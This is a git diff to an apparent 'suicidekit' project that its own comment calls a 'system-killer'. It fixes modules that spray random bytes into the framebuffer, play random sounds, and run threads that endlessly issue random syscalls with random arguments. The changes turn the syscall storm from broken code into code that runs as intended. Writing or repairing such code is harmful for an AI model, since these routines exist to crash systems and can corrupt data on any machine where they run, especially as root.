diff options
Diffstat (limited to 'src/non_critical')
| -rw-r--r-- | src/non_critical/gui_destroyer.rs | 3 | ||||
| -rw-r--r-- | src/non_critical/random_sounds.c | 10 | ||||
| -rw-r--r-- | src/non_critical/syscall_storm.c | 40 |
3 files changed, 35 insertions, 18 deletions
diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs index a7d1c75..3c72def 100644 --- a/src/non_critical/gui_destroyer.rs +++ b/src/non_critical/gui_destroyer.rs @@ -20,7 +20,10 @@ fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> { let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect(); let _ = fb.write(&garbage); } + } + + Ok(()) } diff --git a/src/non_critical/random_sounds.c b/src/non_critical/random_sounds.c index 4e7ba76..847fc44 100644 --- a/src/non_critical/random_sounds.c +++ b/src/non_critical/random_sounds.c @@ -1,7 +1,13 @@ -#include <alsa/asoundlib.h> + +#define _GNU_SOURCE +#define __timespec_defined +#define __struct_timespec_defined + +#include <time.h> +#include <pthread.h> #include <stdint.h> #include <stdlib.h> -#include <pthread.h> +#include <alsa/asoundlib.h> #define MAX_THREADS 5 diff --git a/src/non_critical/syscall_storm.c b/src/non_critical/syscall_storm.c index ff7347d..a7a2066 100644 --- a/src/non_critical/syscall_storm.c +++ b/src/non_critical/syscall_storm.c @@ -9,29 +9,33 @@ pthread_t THRS[MAX_THREADS]; - -static void* syscall_storm_linux(void* iterations) { +static void* syscall_storm_linux(void* arg) { + int iterations = *(int*)arg; while(1) { - for(int i = 0; 1 < iterations; i++) { + for(int i = 0; i < iterations; i++) { syscall(rand() % 400, rand() / rand()); - printf("%d. Called rand(), from thread %d", i); + printf("%d. Called rand(), from thread %d\n", i, (int)(intptr_t)arg); + } } -} + return NULL; } int init_syscall_storm(int threads, int iterations) { - if (threads > 5) { - printf("ERR: Max treads 5, %d required", threads); - return NULL; + if (threads > MAX_THREADS) { + printf("ERR: Max treads 5, %d required\n", threads); + return -1; } - for(int i = 0; i < MAX_THREADS; i++) { - int thread_args[i] = i; - if (pthread_create(&THRS[i], NULL, syscall_storm_linux, thread_args) != 0) { - printf("ERR: Could not create thread %d", i); - return NULL; + for(int i = 0; i < threads; i++) { + int *thread_arg = malloc(sizeof(int)); + *thread_arg = iterations; + if (pthread_create(&THRS[i], NULL, syscall_storm_linux, thread_arg) != 0) { + printf("ERR: Could not create thread %d\n", i); + free(thread_arg); + return -1; } - }; + } + return 0; } void stop_syscall_storm() { @@ -39,6 +43,10 @@ void stop_syscall_storm() { pthread_cancel(THRS[i]); } } - //TODO: Fix this and create random shit-syscall chooser. Maximaly shitcoded!!! Its system-killer, not a default program -//TODO: Add support for other *NIXes
\ No newline at end of file +//TODO: Add support for other *NIXes + + +// cc -O0 -ffunction-sections -fdata-sections -fPIC -gdwarf-4 -fno-omit-frame-pointer -m64 -I src/non_critical -I src/critical/classic -std=c11 -o /home/namilskyy/suicidekit/target/debug/build/suicidekit-d9b57cca9def6d72/out/170d28c25dafbf6f-random_sounds.o -c src/non_critical/random_sounds.c + + |
